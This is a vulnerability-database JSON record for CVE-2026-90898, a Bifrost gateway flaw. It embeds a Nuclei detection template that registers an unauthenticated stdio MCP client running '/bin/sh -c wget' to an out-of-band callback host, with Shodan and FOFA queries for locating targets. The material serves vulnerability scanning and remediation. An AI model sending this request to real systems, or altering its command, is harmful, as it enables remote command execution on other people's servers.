{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-90898/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-90898/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-90898/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-90898/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-90898/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-90898/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-90898"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-90898"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.02311,"kev":false,"percentile":0.83387},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-90898.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-90898\n\ninfo:\n  name: Bifrost < 2.1.0 - Unauthenticated MCP Stdio Command Execution\n  author: alex700\n  severity: critical\n  description: |\n    When dashboard authentication is disabled, Bifrost accepts an unauthenticated stdio MCP client registration and starts its configured command before the MCP handshake completes. This template runs a benign outbound HTTP request from the target and requires an out-of-band callback to confirm command execution.\n  impact: |\n    An unauthenticated network caller can execute a command with the privileges of the Bifrost gateway process.\n  remediation: |\n    Upgrade Bifrost to transports v2.1.0 or later and enable dashboard authentication.\n  reference:\n    - https://github.com/maximhq/bifrost/pull/6757\n  classification:\n    cve-id: CVE-2026-90898\n    epss-score: 0.02311\n    epss-percentile: 0.83436\n    cwe-id: CWE-78\n  metadata:\n    max-request: 1\n    vendor: maximhq\n    product: bifrost\n    shodan-query: http.html:\"bifrost-shell\"\n    fofa-query: body=\"bifrost-shell\"\n  tags: cve,cve2026,bifrost,rce,oast,intrusive,vkev\n\nvariables:\n  client_name: \"mcpchk_{{rand_text_alpha(10)}}\"\n\nhttp:\n  - raw:\n      - |\n        @timeout: 45s\n        POST /api/mcp/client HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{client_name}}\",\"connection_type\":\"stdio\",\"stdio_config\":{\"command\":\"/bin/sh\",\"args\":[\"-c\",\"wget -q -O /dev/null http://{{interactsh-url}}/bifrost-90898\"]},\"tools_to_execute\":[\"*\"]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500 && contains(body, \"context deadline exceeded\") && contains(interactsh_protocol, \"http\")'\n# digest: 4b0a004830460221008cf97f854b1d4652c6d9d938faa70375fc55306b2b1a7a7b575bb5383db6d306022100c83298e394750a40510525ddc3ae2e0cbecea8ae15265e8ec97cc980e2636219:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-90898"}